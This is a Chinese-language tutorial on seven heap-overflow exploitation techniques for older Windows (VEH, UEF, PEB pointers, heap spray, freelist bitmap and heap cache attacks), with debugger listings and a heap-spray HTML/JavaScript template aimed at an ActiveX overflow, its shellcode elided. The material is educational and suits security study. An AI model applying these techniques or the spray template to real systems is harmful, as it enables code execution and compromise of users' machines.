Windows堆栈溢出利用的七种方式

Windows下的堆栈溢出攻击和*nix下的,原理基本相同。但是,由于windows用户进程地址空间分配和堆栈处理有其独立的特点,导致了windows 环境下堆栈溢出攻击时,使用的堆栈溢出字符串,与unix下的,区别很大。另外,windows的版本也导致了windows下的exploit不具有通用性。windows版本不同,而exploit使用了很多动态链接库里面的库函数,其地址都是与dll的版本有关系的。不同的dll版本,里面的库函数的偏移地址就可能(注意:是可能)不同。因为windows的patch天天有,他的一些dll就更新很快。甚至可能不同语言版本的windows,其核心dll的版本都不同。用户的dll一变更,那么,我们的exploit里面的shellcode就要重新写。

为了解决这个问题,我想我们可以尽量减少固定地址的使用。即,使用GetProcAddress来获得我们将使用的每一个系统函数,当然这就大大加长了我们的shellcode。但是,这也无法消除对kernel32.dll的中LoadLibrary和GetProcAddress的地址的直接引用,因为这两个是shellcode中最基本的函数,自然就导致了对kernel32.dll版本的依赖。

一、利用VEH

向量化异常处理(VEH,Vectored Exception Handling)最初是在XP中公布,它的优先级高于SEH,并且VEH是存在堆中的,它是你在代码中明确添加的,并不伴随try/catch之类的语句而产生,它也需要通过API(AddVectoredExceptionHandler)来注册回调函数,并可注册多个VEH,各个VEH结构体之间串成双向链表,因此比SEH多了一个前指针。每一个VEH结构均存储在堆上,其结构如下:

struct _VECTORED_EXCEPTION_NODE
{
    DWORD   m_pNextNode;        //指向下一个_VECTORED_EXCEPION_NODE结构,因此可用伪造的指针来覆盖它
    DWORD   m_pPreviousNode;        //指向上一个_VECTORED_EXCEPION_NODE结构
    PVOID   m_pfnVectoredHandler;    //异常处理函数
}


负责分发_VECTORED_EXCEPION_NODE的代码如下:

77F7F49E   8B35 1032FC77    MOV ESI,DWORD PTR DS:[77FC3210]    ;赋值后ESI指向_VECTORED_EXCEPION_NODE结构,即m_pNextNode
77F7F4A4   EB 0E            JMP SHORT ntdll.77F7F4B4
77F7F4A6   8D45 F8          LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9   50               PUSH EAX
77F7F4AA   FF56 08          CALL DWORD PTR DS:[ESI+8]        ;可用shellcode-0x8去覆盖m_pNextNode指针



接着我们在堆中确定shellcode地址,可先用垃圾字符去填充,比如'0x41',然后在堆中搜索它。当发生堆溢出时,堆块的前向指针和后向指针就会被篡改,比如异常出现在:


MOV DWORD PTR DS:[ECX],EAX    ;EAX = Flink = 写入的内容MOV DWORD PTR DS:[EAX+4],ECX    ;ECX = Blink = 写入的地址


那么我们就可以用m_pNextNode-4来覆盖ECX,然后用shellcode-8去覆盖EAX。关于m_pNextNode指针的获取,我们只需在触发异常后,按shift+F7步过异常即可找到此指针,比如以下代码:

77F60C2C   BF 1032FC77      MOV EDI,ntdll.77FC3210        ;m_pNextNode指针
77F60C31   393D 1032FC77    CMP DWORD PTR DS:[77FC3210],EDI
77F60C37   0F85 48E80100    JNZ ntdll.77F7F485


关于EAX和ECX的偏移地址可通过pattern_create和pattern_offset来获取。这样当触发异常时就会调用VEH,而此时下一个VEH结构即是我们特意构造的shellcode,这样我们的恶意代码就有可以被执行了。

二、利用UEF

系统默认异常处理函数(UEF,Unhandler Exception Filter)是系统处理异常时最后调用的一个异常处理例程,在堆溢出中,只需将这一地址覆盖为我们的shellcode地址即可。获取UEF地址的方法可以通过查看SetUnhandledExceptionFilter()的代码来定位,接着再找到操作UnhandledExceptionFilter指针的MOV指令,比如以下代码:

77E93114   A1 B473ED77      MOV EAX,DWORD PTR DS:[77ED73B4]  ;UnhandledExceptionFilter指针
77E93119   3BC6             CMP EAX,ESI
77E9311B   74 15            JE SHORT kernel32.77E93132
77E9311D   57               PUSH EDI
77E9311E   FFD0             CALL EAX

现在我们只需找到shellcode地址,或者看是否有某一寄存器reg刚好指向shellcode或其附近,然后用shellcode地址或者类似call [reg + offset]的指令地址来覆盖UnhandledExceptionFilter指针,比较常用的指令如:

call dword ptr ds:[edi+74]
call dword ptr ds:[esi+4c]



其它eax,ebx也有可能指向堆,亦可作为跳板来用。

三、利用PEB

由于当UEF被调用后,它最终会调用ExitProcess()来结束程序,而它在清理现场时需要进入临界区以同步线程,因此会调用RtlEnterCriticalSection()t和RtlLeaveCriticalSection()。ExitProcess是通过存放在PEB中的一对指针来调用这两个函数的,如果能够利用DWORD SHOOT把这对指针篡改成shellcode入口地址,那么在程序结束调用ExitProcess()就会执行shellcode。下面是在Windows XP SP3下PEB的情况:

0:000> dt _PEB
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 SpareBool        : UChar
   +0x004 Mutant           : Ptr32 Void
   +0x008 ImageBaseAddress : Ptr32 Void
   +0x00c Ldr              : Ptr32 _PEB_LDR_DATA
   +0x010 ProcessParameters : Ptr32 _RTL_USER_PROCESS_PARAMETERS
   +0x014 SubSystemData    : Ptr32 Void
   +0x018 ProcessHeap      : Ptr32 Void
   +0x01c FastPebLock      : Ptr32 _RTL_CRITICAL_SECTION    //根据此指针来间接进入临界区
   +0x020 FastPebLockRoutine : Ptr32 Void
   +0x024 FastPebUnlockRoutine : Ptr32 Void
   +0x028 EnvironmentUpdateCount : Uint4B
   ……


但在WinXP SP2之后微软就加入了PEB random保护,不再使用固定的PEB基址,而使用具有一定随机性的PEB基址,以提高利用的难度。

四、Heap Spary

Heap Spary技术最早是由SkyLined于2004年为IE的iframe漏洞写的exploit而使用到新技术,目前主要作为浏览器攻击的经典方法,被大量网马所使用。Heap Spary技术是使用js分配内存,所分配的内存均放入堆中,然后用各带有shellcode的堆块去覆盖一大片内存地址,Javascript分配内存从低址向高址分配,申请的内存空间超出了200M,即大于了0x0C0C0C0C时,0x0C0C0C0C就会被覆盖掉,因此只要让IE执行到0x0C0C0C0C(有时也会用0x0D0D0D0D这一地址)就可以执行shellcode,这些堆块可以用NOP + shellcode 来填充,每块堆构造1M大小即可,当然这也不是固定。这样当nop区域命中0x0c0c0c0c时,就可执行在其后面的shellcode。下面是一个简单模板:

<html>
<body>
<object classid="clsid:6BE52E1D-E586-474F-A6E2-1A85A9B4D9FB" id="target"></object>
<script>
Var shellcode="\u68fc\u7473\u6668\u6961……\u53c4\u5050\uff53\ufc57\uff53\uf857";
var nop="\u9090\u9090";
while (nop.length <= 0x100000/2)
{
    nop+=nop;
}
nop = nop.substring(0,0x100000/2-32/2-4/2-shellcode.length-2/2);
var slide = new Array();
for ( var i=0; i<200; i++)
{
    slide[i] = nop + shellcode;
}
var s= '';
while (s.length < 748)
{
    s+="\x0c";
}
target.Overflow(s);
</script>
</body>
</html>


五、Bitmap Flipping Attack

在 Heap Management 结构中包含有Freelist Bitmap标志位,它是一个4字节的DWORD值,当对应的FreeList[n]被填充时,bitmap就将被设置。当请求分配堆块时,它会先搜索与之大小合适的FreeList[n],然后检测对应的bitmap,若上面为0就表示上面是块未使用的空闲块,则对应的FreeList[n]将用于分配配块,接着返回到对应的请求块FreeList[n]指向的地址。因此如果我们可以控制Bitmap,并能够覆盖freelist[n]中的值,那么我们就可以通过它来执行任意代码。

六、Heap Cache Attack

Heap Cache主要用于降低频繁遍历FreeList[0]的性能消耗,以提高性能。它主要是为FreeList[0]中的堆块创建扩展索引,更重要的是,Heap Manager并没有将任何空闲块移动缓存中,这些空闲块一直保存在FreeList[0]中,但缓存中保存着一些指针,它们指向FreeList[0]中的某些节点,以此来提升访问FreeList[0]的速度。堆缓存是一个bucket数组,每一个bucket包含有intptr_t字节用于存储大小,还有一个NULL指针或者FreeList[0]上的堆块指针。默认情况下,数组包括有896个bucket,其大小在1024和8192之间,但大小是可配置的,我们可指定最大的缓存索引号。在堆缓存攻击技术中又存在各种利用方式,比如De-synchronization Attack(通过覆写堆块头信息中的大小域,使每次请求同等大小堆块时都指向同一块已经使用的内存块,如果攻击者可能控制这一内存块中的内容,就有可能导致任意代码执行),Insert Attack、Existing Attacks、Malicious Cache Entry Attack……这些方法有很大的局限性,在实际运用上很难派上用场,若想获取更多关于这方面的信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。

七、Bitmap XOR Attack

Bitmap XOR Attack 是通过异或操作来更改 freelist bitmap,如果系统尝试清除这一错误的标志位,那么就可能从一个空闲位(free bit)切换到设置位(set bit),进而实现类似上文提到的bitmap attack。这个可以通过篡改堆块头信息中的大小域(CurSize),使其小于0x80,接着再使对应堆块中的前向指向与后向指针相等(flink == blink),并保证其指向的地址是可读的。更多信息可以参见BlackHat USA 2009上面的文章《Practical Windows XP/2003 Heap Exploitation》。后面这几种方法实际利用价值不大,权当了解,学习思路更为重要。

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